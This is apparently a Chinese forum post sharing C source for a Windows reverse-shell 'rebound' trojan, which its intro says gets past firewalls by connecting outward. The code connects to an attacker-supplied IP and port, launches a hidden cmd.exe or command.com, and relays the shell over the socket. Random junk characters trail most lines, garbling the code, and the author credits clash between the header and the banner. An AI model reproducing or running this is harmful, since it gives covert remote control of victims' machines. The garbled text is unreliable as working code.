这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 BfdS3VrZ/
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/* ============================== B
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Rebound port in Windows NT S7f"\[Aw
By wind,2006/7 j5V{,lf
===============================*/ WdJJt2'
#include r>Cv@4/j
#include s]Qo'q2
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#pragma comment(lib,"wsock32.lib") |rwx;+
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void OutputShell(); m`6=6(_p
SOCKET sClient; [['
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; rkWiGiisM
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void main(int argc,char **argv) ;Wedj\Kkp
{ ]/c!;z
WSADATA stWsaData; #v}pn2g%>
int nRet; +5qY*$dn
SOCKADDR_IN stSaiClient,stSaiServer; EVW\Z 2N.
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if(argc != 3) ~U<=SyZYo
{ WIYWql>*
printf("Useage:\n\rRebound DestIP DestPort\n"); dj5@9X
return; B)=)@h[f
} + 3c (CTz
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WSAStartup(MAKEWORD(2,2),&stWsaData); )UN_,'H/V
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *r].EBJ\
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stSaiClient.sin_family = AF_INET; `IH*~d]
stSaiClient.sin_port = htons(0); ~__rI-/_
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ak$D1#hY
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) NXSjN~aG2
{ [J
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printf("Bind Socket Failed!\n"); MD>xRs
return; 'l6SL-
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} @ w?,7i-S
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stSaiServer.sin_family = AF_INET; @: K={AIa
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); l?:S)[:
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); s>ohXISB[
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 2g$;ZBHO|8
{ -v{LT=,O
printf("Connect Error!"); =.2)wA"e'
return; "V{v*Aei0
} cn2SMa[@S
OutputShell(); (R-(
} m t}3/d
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void OutputShell() kadw1sYj
{ %z"n}|%!
char szBuff[1024]; )| 0(#R
SECURITY_ATTRIBUTES stSecurityAttributes; :YM1p&|fS
OSVERSIONINFO stOsversionInfo; ujh`&GiB+
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; O1Nya\^g<I
STARTUPINFO stStartupInfo; tqzr+
char *szShell; Q(/F7"m
PROCESS_INFORMATION stProcessInformation; @|d+T"f
unsigned long lBytesRead; PXo^SHJ+gt
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); L^e%oQ>s
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 37 d-!
stSecurityAttributes.lpSecurityDescriptor = 0; +
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stSecurityAttributes.bInheritHandle = TRUE; 7O<K?;I
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); i9v|*ZM"
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); npMPjknl
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); kS<9cy[O
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nJcY>Rp?
stStartupInfo.wShowWindow = SW_HIDE; QS%t:,0lp
stStartupInfo.hStdInput = hReadPipe; Y%Tm
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; j6#Vwc r
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GetVersionEx(&stOsversionInfo); =PYS5\k
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switch(stOsversionInfo.dwPlatformId) e|eWV{Dsz
{ <~n%=^knE
case 1: M s Q=1
szShell = "command.com"; BjV;/<bt
break; k FCdGl
default: yQE9S+%M
szShell = "cmd.exe"; \
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break; e,Sxu[2
} U[|o!2$
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !+_X q$9_
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send(sClient,szMsg,77,0); <b_?[%(u
while(1) lt& c/xi_
{ `2,F!kCt
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); C^7M>i
if(lBytesRead) csj4?]gI
{ )}1S
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]
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send(sClient,szBuff,lBytesRead,0); `ZGKM>q`
} T[%@B"
else `c? 8i
{ 5Yr$tl\k
lBytesRead=recv(sClient,szBuff,1024,0); mOntc6&]
if(lBytesRead<=0) break; Lrq e:\
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {~EPP
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} 8SoTABHV
} +u;RFY^
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return; TnJJ& "~3b
}